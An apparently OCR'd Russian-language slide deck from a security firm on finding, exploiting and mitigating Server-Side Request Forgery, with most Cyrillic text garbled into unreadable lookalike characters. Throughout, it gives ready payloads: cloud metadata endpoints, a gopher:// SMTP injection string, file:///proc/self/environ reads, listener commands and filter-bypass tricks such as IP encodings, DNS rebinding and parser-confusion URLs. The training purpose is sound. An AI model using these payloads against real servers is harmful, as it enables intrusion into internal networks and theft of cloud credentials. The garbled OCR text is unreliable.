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Y70 *Ke Takoe Server
Side Request Forgery?

MepuMeTp KOMNaHUK

~

Ataka SSRF BO3mMOXHa B
c/lyyae ENEIZE
YA3BUMOCTU Mo, =
NO3BONAIOLLEN

3/10YMbILLUNEHHUKY
CNpoOBOUMPOBATb CepBep /
OTNPaBUTb 3aNpocC Ha
NPOU3BO/IbHbIKN aapec C
NPOU3BOIbHbIM TE/IOM.

OTnpaeb 3anpoc Ha | —
BHYTPEHHUIA CEepBUC |

3anpoc —
3NOYMBIWNEHHWKA

=

3anpoc Hanpamyk 3abnokMpoBad T




Server Side Request
Forgery — moxeT

OKa3aTbCA O4YEHb
cepbe3HOM Npobaemomn

https://hackerone.com/reports/341876 — 25 000S

https://hackerone.com/reports/374737 — 3 5005

https://hackerone.com/reports/398799 — 4 0005

https://hackerone.com/reports/115748 — 2 000S

https://hackerone.com/reports/288353 — 1 5005



https://hackerone.com/reports/341876
https://hackerone.com/reports/374737
https://hackerone.com/reports/398799
https://hackerone.com/reports/288353
https://hackerone.com/reports/115748

SSRF 101

TexHnyecKkoe 3agaHue:
e CobCTBEHHbIN YaT

* KapToO4yKM ANA CCbINOK
«KaK B Tenerpame»

* KapTouKku AO/IKHbI
dopMMpPOBATHLCH 7
XPaHUTbCA Ha bekeHae

http://catoftheday.com/
Catoftheday

your cat wonderful every day since 1998. Cat of the Day is a

simple award-winning, family-friendly, free, and fun ...

Cat of the Day - Every day a new cat photo and story since 1998.
Cat of the Day features a new story and photo of what makes

13:47 W/ I



Korana ctouT 3aZlymaTtbCst O MPOBEPKE Ha
SSRF?

Korpa ctont 3aaymaTbcs 0 noTeHumanbHom SSRF?
* [pu peanunsaunmn mexaHnama webhooks;
* [lpn obpaboTke popmaToB, 0CHOBaAHHbIX HA XML (yazsumocTb XXE);

* [pn peHaepe CKPUHLLOTOB (AN1A yCNeLwHOoro peHaepa 3a4acTyto HeobxoaMmo
NCMOZIHUTb NPOMU3BOIbHBIN javascript, KOTOPbIA MOXET coAepKaTb
$YHKLMOHANbHOCTb OTMNPAaBKM 3aNpOCOB U NOATPY3UTb BHELLHUM pecypc);

* [lpn paboTe c BUAEO U n30bparkeHnsamm (HeobHOBNEHHbIE BepCcUM Bnbamortekmn
FFMPEG noagep»eHbl SSRF, KoHBepTaLUua svg);

e Bcerga npu oTnpaBKe 3anpocoB Ha NpPeAoCcTaB/AeMbli Noab3oBaTe/IeEM ajpec.



Jltobow nn 3anpoc
SSRF?

Cepbe3HO, ecam Bbl He
MOXeTe  AO0Ka3aTb  aKT
B/INAHMA Ha 6e30MnacHOCTD,
TO, CKOpee BcCero, 37O
OYHKUMOHANbHOCTb, a He
YAA3BMMOCTb.




N KaK 3TO TECTMPOBATbL ?

Ham noTtpebytoTca:
* Toyka nMosy4yeHUs 3anpocoB [OTCTYK]

* Habop nonesHbiX Harpy3oK B 3aBUCUMOCTM OT HaLLMX BO3SMOXHOCTEMN
[payloads/neinnoanpl]

e CNMCOK NOTEHLMAaNbHbIX Liesier aTakm U Noaxod K UX obHapyKeHuto

* TexHUKM obxoaa punbTpaumnm [bypass/6ainnacsi]



YacTb 2.

JIOBUM OTCTYK




TOYKa

MNoJIyYeHUs
3aMnpoCoB

3a4em U KaK?

Hanuuune oTcTyKa — HALW rNaBHbIN
npu3Hak SSRF

[poBepAem noaaep:KKY Pa3INYHbIX
CXEM

[MpoBepsaem metogbl 06xoaa
dunbTpaLUNK

[TpoBepsaem 3anpocbl Ha PacKpbITHE
KPUTUYHOU MHDOPMaL UK



To4kKa No2Iy4eHNA 3arpocoB

Burp Suite way

Burp Suite Professional v2.0.20beta - Temporary Project - licensed to OO0 Cyber Service [15 user license]
_ Burp Project Intruder Repeater Window Help Backslash Param Miner

Search truder Repeater Sequencer Decoder Comparer Extender Project options

Cotsniont gy ) @G0 . tssve actvity

User options

Burp Infiltrator d Finished N’ Filter High Mediur
Burp Clickbandit o el el @ {@}@ # Task  Time
_ Burp Collaborator client . .
... 0 items added to site map
Exit 0 d
Capturing: responses processe
0 responses queued
2. Live audit from Proxy (all traffic) @ {5} @' Eﬂ
Audit checks - passive Issues:
Capturing: 0 requests (0 errors)
View details > -




To4kKa No2Iy4eHNA 3arpocoB

Burp Suite way

Generate Collaborator payloads

Number to generate: 1 - EoB;to EIiBbc;ara ' _ Collaborator server location

Poll Collaborator interactions

Poll every 60 seconds = Poll now —

# Time Type Payload Comment

1 2019-Apr-04 05:29:06 UTC  HTTP isfbx9sqyvnydy6m9txvhbv21ws2iq7 | | A
2 12019-Apr-04 05:29:03 UTC  DNS 'sfbx9sqyvnydy6ém9txvhbv21iws2iq7 | \

3 2019-Apr-04 05:29:06 UTC  HTTP sfbx9sqyvnydy6m9txvhbv21ws2iq7 |

4 12019-Apr-04 05:29:03 UTC  DNS 'sfbx9sqyvnydy6m9txvhbv21ws2iq7 | |

5 2019-Apr-04 05:29:06 UTC _ HTTP sfbx9sayvnydy6m9txvhbv21ws2ia7 \ v

Description Request to Collaborator Response from Collaborator

Raw Headers Hex Stepper Replacements

GET /favicon.ico HTTP/1.1 o
Host: sfbx9sqyvnydy6m9txvhbv21ws2iq7.burpcollaborator.net

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
DNT: 1

Accept: image/webp,image/apng,image/*,*/*;q=0.8

X-Compress: null

Referer: http://sfbx9sqyvnydy6m9txvhbv21ws2iq7.burpcollaborator.net/

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7

v

@ < ||+ ||> |Type a search term 0 highlights

Close




ToukKa
NoJIly4eHuA
3anpocosB
Burp Suite way

[1lntochbl:
* [lpocCT B UCNONb30BaHUM

* He Tpebyer
npeaBapuUTeNbHOMU
NOArOTOBKM

* NMoppepxuneaet HTTP,
HTTPS, DNS, SMTP

MWuHycbl:

3a6bIBYUB
Ctpormm popmaTt AOMEHA

He nogaepusaer
9K30TMYEeCKMe NPOTOKO/Ibl

He no3sonsaeT
MCNoab30BaTb OAUH aapec
ANA BCEX OTCTYKOB

He no3sonsaeTr
MaHUNYINPOBaTb
peanpeKkTammn n TeJIomM
oTBeTa



Ceog VDS [MaKeT «3KOHOMY»:
* ncat —Ilvpk 1337 (He

RaK N0OBUTb
5 nymame c¢ netcat)
KOHHEKT
e tcodump -i ethO 'udp port
53’
* Python —m

SimpleHTTPServer .




Crog VDS [aKeT «3IKOHOMY: MakeT «KoMbopT+» :

KaKk NOBUTb * ncat —lvpk 1337 (He e KoHTelHep Docker c
KOHHEKT? mymame c netcat) Nginx u letsencrypt
| e tcodump -i ethO 'udp port * DNSchef
53’
* Python —m

SimpleHTTPServer .




Csosa VDS

Docker n no4yemy A ero HacTosiTe/IbHO PEKOMEHAYIO:

* VDS — 3TO MecTo ANA 3KCNePMMEHTOB, TopYallee B MHTepHeT. Jlydwe
obe3onacuTtb cebs;

* Hactpounka nginx c letsencrypt

( );

* [Ipobnembl ¢ MixedContent.


https://hub.docker.com/r/linuxserver/letsencrypt

Dnschef

[TpoCT B HaCTPOMUKe:
 git clone

* ./dnschef.py --file dnschef.ini -i 0.0.0.0 --logfile
dns_query.log

GNU nano 2.7.4 File: dnschef.ini

[A] # Queries for IPv4 address records
*.blind.your .domain=

[AAAA] # Queries for IPv6 address records
*.blind.your.domain=2001:db8: :1


https://github.com/iphelix/dnschef

wm = pyinotify.WatchManager()
mask - pyinotify.IN MODIFY
bot = telegram.Bot(token=stpr("*** *x&x"))

class EventHandler (pyinotify.ProcessEvent):
def init_ (self, file path, *args, kwargs) :
super(EventHandler, self). init (“args, kwargs)
self.file path - file_ path
self. last position - @
self.bot= bot

def process IN MODIFY(self, event):
"File changed: ", event.pathname
self. last position > os.path.getsize(self.file pat
self. last position - ©
open(self.file path) f:
f.seek(self. last position)
loglines = f.readlines()
self. last position = f.tell()
g loglines:
g = g.strip()
“query[A]" g:
".blind.your.vds" g:
"nsl.blind.your.vds"

self.bot.sendMessa

orint (g) A Hakoaun cebe

paspocwimnmnca nor dnschef

RaK OpraHmM3oBaThb
0abOTYy C OTCTYKaMm?

yBeEAOMANAET B Tenerpam m 4HYUuctut


https://github.com/ttffdd/dnsdog/tree/master

ToOYKa
NoNy4YeHus

3aMpocCoB
Csoa VDS

[narochbl:

[NonHas cBoboaa B
HaACTPOMKe
JIOTMPOBAHUA U
yBeJOMNEHNN

BO3MOMXHOCTb
HACTPOMUKU LenoYvekK
peaupeKkToB

BO3MOYXHOCTb
HanpPAMYIo CayLwaTb
COKKeT A21a N0B/U
KOHHEKTa

MwuHycbl:

* HacTponka «noga,
ceba» Bceraa TpebyeT
BpeMeHu

* CTOUT KaKUX-TO aeHer



YTo-TO cpeaHee?

Habop ckpunToB:

OrpomMHbIN MUHYC:

HeT BO3MOXHOCTHU NMOCMOTPETb COCTOAHNE NOAKITKOYEHNA CO CTOPOHDbI CepBepd


https://ssrf.localdomain.pw/
https://github.com/cujanovic/SSRF-Testing/custom-*

NTaK, VDS — BbIOOP 4YeMMNMOHOB

Haw ynbTmaTtmeHbIM Habop BKAOYaET B cebaA:

* Docker Nginx ansa ynobHOM HAaCTPOUKU OTAABAaEMOro KOHTEHTA C
Ba/IMAHbIM CEPTUPUKATOM;

 DNSchef ana pabotbl c DNS-0TCTYyKamu, NO3BONAOLMIMA HAM
co3naBatb Ntobbie A 1 CNAME 3anncu anAa npom3Bo/ibHO HAa3BaHHbIX
noaA0MEHOB;

* Ncat ans otnoBa He HTTP-based oTcTyKOB,;

* CKpunTt ana ysegomneHuu B TG.



YacTb 3.

Niiem KepTsy




Habop none3HbiX Harpy3ok

na Hayana pacCMOTPUM HaLLM NOTEeHUMaIbHble BO3MOXHOCTHU:
* [IponssonbHble HTTP GET 3anpochki c oTobparkeHnem oTBeTa;
* [TponsBonbHble HTTP GET 3anpocbl «cnenown cnyyam»;

* 3anpocbl C NPON3BOSIbHON HArpy3Kowu;

* [Tpouyee.



[TponssonbHble HTTP GET 3anpocsl C
OTODOparKeHnem oTBeTa

[1pOCTO, NOHATHO, KPUTUYHO

Kyaa ctout cxoauTtb?

* Localhost

* BHyTpeHHMe pecypchbl
e O6bnauyHble API



[TponsBonbHble HT TP GET 3anpocskl C
OTObOparKEHMEM OTBETA

Localhost:
* Mbl Tenepb urHopupyem WAF, npaBuia peBepc NPOKCU U KTO 3HAET, UYTO eLle

* lHOrga agMUHKK 1 aawwbopapbl BeLLAoT NpocTo Ha local nHtepgeic



[TponssonbHble HTTP GET 3anpocsl C
OTODOparKeHnem oTBeTa

BHYyTpeHHMe pecypchbl:
* TyT He obounTmncb 6e3 baHTaznm

e Bcerga CTOMT NOUCKaTb «K/JaCcCUYECKMeE» CeEPBUCHI ANa Ntobon
komnaHuu ( Confluence, Gitlab, Redmine, Jenkins n 1.4.)



[TponsBonbHble HT TP GET 3anpocskl C
OTObOparKEHMEM OTBETA

O6nayHble API:
* AWS, Hanpumep http://169.254.169.254/latest/user-data;

* Google Cloud, Hanpumep
http://169.254.169.254/computeMetadata/v1l/ c fononHUTENbHbBIM

3dr0JIOBKOM,

* Azure, Hanpumep http://169.254.169.254/metadata/instance c
NONO/IHUTE/IbHbIM 3aro/I0BKOM.


https://github.com/cujanovic/SSRF-Testing/blob/master/cloud-metadata.txt

bonblwe HKaHCoOB O
be3onacHOCTM 06/1aKOB

B3rnaHuTe Ha

N B 610r K 3TUM Xe pebaTtam



https://github.com/RhinoSecurityLabs/pacu
https://rhinosecuritylabs.com/blog/?category=cloud-security

[TponsBonbHbie HT TP GET 3anpocsl
«CNenoun caydam»

CKaHupyem ceTb:
* Koa onobKH

* Bpema oTknunKa

CtpaTterna ckaHnposaHua yepes SSRF:
* Nmap --top-ports list
e KactomHbIn cnncok 10-20 nopTos

* SSRF-Testing/commonly-open-ports.txt



3To paboTaeT XopoLlo

CKaHunpyem ceTb:

 Koa owimnbKu

* Bpema oTknunKa

s+ root@Yutu curl http:// 122 —v
Expire in @ ms for 6 (transfer Px55H853Tae9ch )
Trying :
TCP_NODELAY set
Expire in 200 ms for 4 (transfer @x5558537ae9c@)
Connected to ( ) port 22 (#@)
GET / HTTP/1.1
Host: 1 22
User-Agent: curl/7.64.@
Accept: */*

T T Y A e T A

SSH-2 .9-0penSSH_T.4p1 Debian-1@+deb9ub
Protocol mismatch.

¢ Recv : Connection reset by peer
¢ Closing connection @
~url: (56) Recv : Connection reset by peer

s root@Yutu curl http:// 1111 —v
Expire in @ ms for 6 (transfer @x5573063d79c0)

Trying e
TCP_NODELAY set
Expire in 200 ms for 4 (transfer @x55?8@63d?9¢@)
connect to port 1111

to connect to port 1111:

Closing connection @
~url: (7) to connect to port 1111:

4d WM R W KWW




970 paboTaer,

BpoJe...
MoprTt Bpemsa CoctosAHue Mouemy?
oTBeTa
1234 10ms 3aKpbIT TCP coegnHeHune
CKaHupyem ceTb: NOMAeTCA cpasy
* Kog ownbku 22 166ms OTKpbIT TCP coeanHeHune

YCTaHaB/INBAETCA U
10OMaeTCA Ha 3Tane
noayvyeHnAa AaHHbIX

* Bpemsa OTKNAUKA

10500 3091ms ®dunbrpyetca uam He  SYN ywén B ceoboaHoe
MapLLpyTU3nNpyeTCcA nnasaHue, TCP
coeiMHEeHMe BUCMUT,
noKa He npepséeTca OC




970 paboTaer, Payload Status Response...

BPOJE... 438 200 67

439 200 77

440 200 74

441 200 /5

CKaHunpyem ceTb: 442 200 75
* Kog ownbku 443 200 180

* Bpems oTKAMKa 444 200 68

445 200 67

446 200 /8

447 200 77

448 200 72

449 200 71

450 200 72




[TponsBonbHbie HT TP GET 3anpocsl
«CNenoun caydam»

He 3abbiBaem NOCMOTPETbL B 3aMpoc:

e User-agent no3BOANUT HaM MOHATb CTEK TEXHOOTMNIM N HaLLWK
OrpaHUYEHUS;

* JlononHUTenbHble 3aro/10BKU 4acTo BCTPEYAOTCA NPU
B38MMO,D,€VICTBVIVI MUWKPOCEPBUCOB,

* Ecnn Ham no-HacToAleMy BE3ET, MOXKeM HAaTKHYTbCA Ha cookie nnu
JWT.



3anpochbl C
MPOU3BO/IbHOM

Harpy3Kou |nddess[[8] gopher/igophertcomnenws
Gopher directory at gopher.tc.umn.edu

E Lopher durectory at gopher.tc.umn. edu - Microsolt Internet Explorer

¢ Gopher (aHI'I'I. gopher ['g Directory All the Gopher Servers in the World
oufar] — royoep, <3earch> Search All the Gopher Servers in the World
rc')cl)ep) — CETeBOI\/JI Eiziztzzz :;::E]: titles in Gopherspace using veronica
I AGOLEONL .. Directory Asia
PaCnpeneieHHOro Directory Europe
NMOUCKa U Nepeaayu Direcrtory International Organizations
AOKYMEHTOB, I-(OTOpb||7| Directory Middle East
6b|j‘| LLUMPOKO Directory Horth America

Directory Pacific
Directory Russgia

Directory South America

PacnpPoOCTPaHEH
B IHTepHeTe go 1993
. South America




3anpocbl C NPOU3BOJIbHOM HArpy3Kou

Gopher npeacrasneHune

gopher://
smtp.iternal:25/xHELO%20localhost%250d%25
0aMAIL%20FROM%3A%3Chacker@site.com%
3E%250d%250aRCPT%20TO0%3A%3Cvictim@si
te.com%3E%250d%250aDATA%250d%250aFro
M%3A%20%5BHacker%5D%20%3Chacker@sit
e.com%3E%250d%250aTo%3A%20%3Cvictime
@site.com%3E%250d%250aDate%3A%20Tue
%2C%2015%20Sep%202017%2017%3A20%3A
26%20400%250d%250aSubject%3A%20AH%2
0AH%20AH%250d%250a%250d%250aYou%20
didn%27t%20say%20the%20magic%20word%
20%21%250d%250a%250d%250a%250d%250
a.%250d%250aQUIT%250d%250a

NTorosbin SMTP 3anpoc

HELO localhost

MAIL FROM:<hacker@site.com>

RCPT TO:<victim@site.com>

DATA

From: [Hacker] <hacker@site.com>
To: <victime@site.com>

Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !

QUIT




3aMnpocChbl C MPOU3BOJIbHOM HArpy3Kou

Tenepb Mmbl moxXem BCE, bbin10 bbl XKenaHue:
1.MySQL (Port-3306)

2.FastCGlI (Port-9000)

3.WSGI (Port-9000)

4.Memcached (Port-11211)

5.Redis (Port-6379)

6.Zabbix (Port-10050)

7.SMTP (Port-25)



[lpoyee

[MoTeHUMaNbHO NPOBAEMHbIE CXEMDI:
 Cxema HTTP/HTTPS, npoussonbHbit GET-3anpoc;

e Cxema GOPHER, npon3BosibHble TCP nakeTbl (04€Hb YacTo
BCM/1bIBAlOT OFPaHUYEHMS) ;

Cxema TFTP, npounssonbHbie UDP aatarpammbl (ToxKe ecTb
OorpaHn4yeHuns) ;

Cxema File, noTeHumanbHoe obpalleHue K AUCKY;

Cxema SSH, FTP, SFTP, LDAP, etc pacKpbiBalOT AOMNONAHUTENbHbIE
cBeAeHUA O cepBepe;

UNC nyTb, Kpaxa NTLM-xewa.



Cxema File:// v procfs

Pa3yMHO 3arnaHyTb B roctu K procfs:

/proc/self/environ — nepemeHHbIe OKpYKEHUS
/proc/self/task/1/environ — nepemeHHbIe OKPYKEHUSA
/proc/self/cmdline — komaHaa, KoTOpon Bbin 3anyLLeH NpoLecc
/proc/net/tcp — coegmnHeHusa tcp

/proc/net/route — uHTepdeiichbl

/proc/version — OC Bepcus

/proc/self/status — uHbopmaLma o pecypcax npoLecca



ABTOMATM3aUMA GOPMMUPOBAHMA NONE3HOM
Harpy3Ku

XOpPOLWUN NMHCTPYMEHT

* YMeeT caMoCToATEe/IbHO OTCbI/1IaTb 3aMpPOChl U aHANU3UPOBATb
pPe3ynbTaT;

 NmeeT moaynn AnAa pa3anNyHbIX CLEHAPUEB aTaKy;

* [loaneprKMBaeT HEKOTOPbIE TEXHUKK 06Xo4a duabTpaumm.

swisskyrepo / SSRFmap ®@Watch~ 28 Unstar 626 = YFork 122

<> Code Issues 2 Pull requests 0 Projects 0 Wiki Insights



https://github.com/swisskyrepo/SSRFmap

HYacTb 4.
3allmnTa

3alllTe PO3HDb




TexHMKM 0bxoaa duabTpaLmm

OcHOBHble TeEXHUKK 0b6xoaa puabTpaLmu:

CobcTtBeHHble DNS-3anumcK, yka3biBatoLMe Ha JIOKabHblE aJpeca;
Ncnonb3oBaHmne DNS-rebinding;

[MlepeHanpaBsieHne, B TOM YMUCNE CO CMEHOWN CXEMbI;
ANbTepHATUBHbIE NPEeACTaBAEHUA, O KOTOPbIX BCe 3a0bIBAtOT;
BHe3anHaA Hopmanusauyms;

IPv6, npocTto IPv6;

3anyTaHHble URL, KoTopble pa3Hble napcepbl MOHUMAKOT NO-PA3HOMY.



TexHnkn obxoaa
dUAbTPaLMU

CobcTBeHHble DNS-
3annucK, yKasbiBalowme
Ha JIOKanbHble agpeca

s§ root@Yutu nslookup meta
erver :

Address:

on—authoritative answer:
ame : meta.blind.
Address:

+ ~ nslookup localtest.me
Server:
Address: #53

Non-authoritative answer:
localtest.me

[cli] ©:~* 1:~/dirsearch 2:--

.blind.




def action(url):
get_ip by domain(url) "169.254.169.254":

TeXHVIKVI O6X0|ﬂ18 send_data_to(url)
CI)M” pra LLV“/] : "incorect domain"

def send_data_to(url):
ip = get ip by domain(url)

. . send_data(ip, "data")
Ncnonb3oBaHne DNS-rebinding

on-authoritative answer:
~ ssrf-race-169.254.169.254. localdomain. pw

: ssrf-race-169.254.169.254. localdomain. pw
Address:

+ ~ nslookup ssrf-race-169.254.169.254.localdomain.pw
Server:

Address: #53

Non-authoritative answer:
ssrf-race-169.254.169.254. localdomain.pw

ssrf-race-169.254.169.254.localdomain.pw

[cli] O:~* 1:~/dirsearch 2:--




def action(url):
get_ip by domain(url) "169.254.169.254":

TeXHVIKVI O6X0|ﬂ18 send_data_to(url)
Cbl/lfl pra LLI/IM : "incorect domain"

def send_data_to(url):
ip = get ip by domain(url)

. . send_data(ip, "data")
Ncnonb3oBaHne DNS-rebinding

on-authoritative answer:
~ ssrf-race-169.254.169.254. localdomain. pw

: ssrf-race-169.254.169.254. localdomain. pw
Address:

+ ~ nslookup ssrf-race-169.254.169.254.localdomain.pw
Server:

Address: #53

Non-authoritative answer:
ssrf-race-169.254,;29.254.10ca1domain.pw
'ssrf-race-169.254, 9.254.localdomain.pw

[cli] O:~* 1:~/dirsearch 2:--




Co ctopoHbl DNS-cepsepa:

serverTime: 20:57:26.200916 17-05-2019
TeXH I/I KVI O6xo|ﬂ1a eqz/xestzl Datagram to DNSDatagramProtocol from:
dUAbTPaLMU

serverTime: 20:57:27.293456 17-05-2019

equest: Datagram to DNSDatagramProtocol from: on port: 50249

DNS-rebinding CBOMMMU

PYKaMi. Co CTOPOHbI K/INEHTa:

° s root@Yutu nslookup ssrf.blind.
erver

° #03

on-authoritative answer:
ame: ssrf.blind
Address:

s root@Yutu nslookup ssrf.blind
erver:
#53

on-authoritative answer:
ame: ssrf.blind.
Address:



https://github.com/cujanovic/SSRF-Testing/blob/master/dns.py
https://github.com/mwrlabs/dref

TexHnkn obxoaa
PUAbTPaLMM

[lepeHanpaBaeHmne, B
TOM 4YuUCale CO CMeHOoMm
CXeMbl

3anpoc:
https://hackers-normal-site.com

OTBeT:

HTTP/1.1 302 Found

Date: Fri, 24 Aug 2018 12:15:36 GMT
Location: http://169.254.169.254/

MoeT 6bITb HECKOJIbKO
nocnenoBarte/ibHbIX PeEANPEKTOB




TexHnkn obxoaa
PUAbTPaLMM

AnbTepHaTUBHbIE
npeacraBaeHua, o
KOTOpbIX BCe 3abbiBatoT

MHorue 6ubnunotekn nogaepKMUBaIOT COKPaLLEHUA:
127.0.0.1 1 127.1 pna HUX — OQHO U TO XKe.

MHorue 6ubnuotexkm noaaepKuMBaKOT OT/IMYHbBIE OT
DeCATUMHOro npeacrasneHua okretros: 127.0.0.1 un
0177.1 anAa HUX — OOQHO U TO XKe.

MHorune 6ubnmoTekn NnoaaepPKMBAOT CMELLIAHHbIE
npeacrtasnenma oktetos: 127.127.0.1 m 0x7f.0177.1 pna
HUX — OZIHO U TO XKe.

BbixoguTt, Hanpumep, ana cURL HeT pa3Huubl mexay
127.00.1n127.1,n0177.1, n 0x71.1, n 2130706433.
Aaaaa!



TexHnkn obxoaa
PUAbTPaLMM

I£I,a BCE 3TO MOXKeT 6bITb NpuBeaeHo K http://169.254.169.254/:
http://169, 254, 169, 254/
* http://169,254,169, 254/

. http://®©@. QO@. 9. QB @/
+ http:/QE@ GO @D ®®):80/
. http:// QO QBGD. ©XOE®. DB D ®:80/

BHe3anHaA HOPMa/1In3aLUuUA




TexHnkn obxoaa
dUAbTPaLMU

IPv6, npocto IPv6 He ctout 3abbiBaTtb Npo |IPv6, BO3MOKHO Bbil
noaAeprkmeaeTte ero U Aae Ha 3HaeTe:
127.0.0.1 == [::1]




TexHnkn obxoaa

PUAbTPaLMM
3anyTaHHble URL,
KOTOpble Pa3HblE

napcepbl MOHUMALOT MO -
pasHoOMY

cURL
libcurl

http://foo@evil.com:80@google.com/

NodeJS URL

Perl URI

Go net/url

PHP parse_url
Ruby addressable

OcobeHHO aKTya/lbHO, €C/IM Bbl UCNONb3yeTe
MUKPOCEPBUCHI Ha Pa3HbIX TEXHONOTNMYECKUX
cTeKax




KaK 3TO MOMKET BbIMIAAETb B MKU3HUT?

_CURI_
' libcurl

http://foo@evil.com:80@google.com/

T

NodeJS URL
Perl URI

Go net/url
PHP parse_url
Ruby addressable

cURL PUP based | ABYCMbICIEHHbIV URL

based e
backend

firewall




$ try.py http://127.0.0.1

Panta rel - Go.net/url scheme=http, host=127.6.8.1, port=
BCe TeL_leT Java.net.URL scheme=http, host=127.0.0.1, port=-1
NodelS.url scheme=http, host=127.0.8.1, port=
PHP.parseurl scheme=http, host=127.0.8.1, port=
Perl.URI scheme=http, host=127.0.0.1, port=80
Python.urlparse scheme=http, host=127.0.6.1, port=
CMOTpVIM yepes Ruby.addressable/uri scheme=http, host=127.0.8.1, port=
M TECTUPYEM PYYKaMM Ruby.uri scheme=http, host=127.8.0.1, port=80
Go.net/http 127.0.0.1:80/
Java.URL 127.0.06.1:86/
NodelS.http 127.0.08.1:808/
PHP. curl 127.0.08.1:808/
PHP.open 127.0.0.1:808/
Perl.LWP 127.0.8.1:80/
Python.httplib 127.0.8.1:80/
Python.requests 127.0.8.1:80/
Python.urllib 127.0.8.1:80/
Python.urllib2 127.9.8.1:80/
Ruby .Net/HTTP 127.0.8.1:80/
Ruby.open_uri 127.9.0.1:80/



https://github.com/orangetw/Tiny-URL-Fuzzer

YacTtb 5.

BbiBOAb




* KomnpomeTaumua Bcen
|_j'|a BHblEé BHYTPEHHEWN CETU KOMMNAHUU
VIpO3bl,

KOTOpble HeceT
SSRF

YTeyKa 4yBCTBUTE/IbHOM
MHPOpMaL U




NTaK, KaK e bopoTbca ¢ SSRF?

B nepBylo oyepeapb:
* OrpaHn4nTb NoaaepKUMBaemMble CXemMbl;

* OTKNOYMTb NOAAEPHKKY NepeHanpaBAeHUN UIU NPOBEPATb
Ka*KAbIW LWar;

° BaJ'II/I,EI,MpOBaTb AOMEHHbIE MMEHAQa,

* Pa3obpaTbcs, Kak ncnonblyeman bmbnmorteka
obpabaTbiBaeT agpeca.



NTaK, KaK e bopoTbca ¢ SSRF?

JInWiHUMm He byper:

* OrpaHnU4YnUTb AOCTYN KO BHYTPEHHEN MHPPACTPYKTYpPE ANA
noTeHUManbHO noasep*KeHHbIX SSRF cepBepos;

* BbiHecTn NnoaobHbIN PYHKLUMOHAN B OTAENbHbIN
M30JIMPOBAHHbLIN CEPBUC, OOLWLMN ANA BCEX KOMAHA
pa3paboTKK (peweHmna aNa KpynHbIX KOMOaHUMN).



MaTepunanbl N CCbINKK

Digital
Security

v


https://github.com/cujanovic/SSRF-Testing
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
https://github.com/swisskyrepo/SSRFmap
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#bookmark=id.67kr857xdy83

Digital
Security

v

Thanks for your attention

Ei inbox@dsec.ru m company/dsec/ m sales@dsec.ru

Moscow, headquaters Saint Petersburg, R&D



